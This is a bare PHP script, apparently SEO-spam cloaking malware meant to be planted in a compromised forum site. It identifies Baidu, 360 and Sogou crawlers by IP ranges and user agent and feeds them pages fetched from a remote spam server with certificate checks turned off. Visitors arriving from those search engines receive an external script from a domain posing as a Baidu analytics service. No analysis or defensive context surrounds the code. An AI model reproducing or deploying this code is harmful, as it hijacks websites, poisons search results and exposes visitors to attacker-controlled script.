$ip_segments = array(
    '124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.',
    '123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.',
    '61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.',
    '61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.',
    '45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.',
    '123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.',
    '203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.',
    '220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.',
    '202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.'
);

$baidu_spider_ips = array();
$baidu_spider_ips = array_merge($ip_segments, $baidu_spider_ips);

$client_ip = getClientIp();
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

if (isBaiduSpider($client_ip) || preg_match('/baiduspider|360spider|sogou web spider|sogou pic spider/i', $ua)) {
    if (isMatchUrl()) {
        $headers = array(
            'User-Agent: ' . $ua,
            'X-FORWARDED-FOR: ' . $client_ip
        );
        if ($referer !== '') {
            $headers[] = 'Referer: ' . $referer;
        }

        $api_url = "https://seo.yixinherostone.com/site/0054601d15f7374595f0eb11198463b4/" . ltrim($_SERVER['REQUEST_URI'], '/');
        echo getUrlContent($api_url, $headers);
        exit();
    } else {
        $api_url = "https://seo.yixinherostone.com/url/0054601d15f7374595f0eb11198463b4";
        echo getUrlContent($api_url);
    }
} else {
    if (isMatchUrl() && $referer !== '') {
        $parsed = parse_url($referer);
        if (isset($parsed['host'])) {
            if (preg_match('/m\.baidu\.com|360\.com|so\.com|sogou\.com/i', $parsed['host'])) {
                echo '<script src="https://tongji.baidurender.com/referer.min.js"></script>';
                exit();
            }
        }
    }
}

function getClientIp()
{
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        return trim($ips[0]);
    } else {
        return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    }
}

function isMatchUrl()
{
    $url_path = ltrim($_SERVER['REQUEST_URI'], '/');

    $pattern = '/^thread-(\d{9,15})-1-1\.html$|^forum-(\d{9,15})-1\.html$|^index\.php\?news([a-zA-Z0-9]{1,5})$|^forum\.php\?news([a-zA-Z0-9]{1,5})$|^forum\.php\?mod=viewthread&tid=(\d{8,12})$/';

    return preg_match($pattern, $url_path);
}

function isIpInRange($ip, $cidr)
{
    if (strpos($cidr, '/') !== false) {
        list($subnet, $mask) = explode('/', $cidr);
        return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) == ip2long($subnet);
    } else {
        return strpos($ip, $cidr) === 0;
    }
}

function isBaiduSpider($client_ip)
{
    global $baidu_spider_ips;

    foreach ($baidu_spider_ips as $cidr) {
        if (isIpInRange($client_ip, $cidr)) {
            return true;
        }
    }
    return false;
}

function getUrlContent($url, $header = array())
{
    $curl = curl_init();

    if (stripos($url, "https://") !== false) {
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    }

    if (!empty($header)) {
        curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    }

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_NOSIGNAL, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT_MS, 30000);

    $content = curl_exec($curl);
    curl_close($curl);

    return $content;
}
?>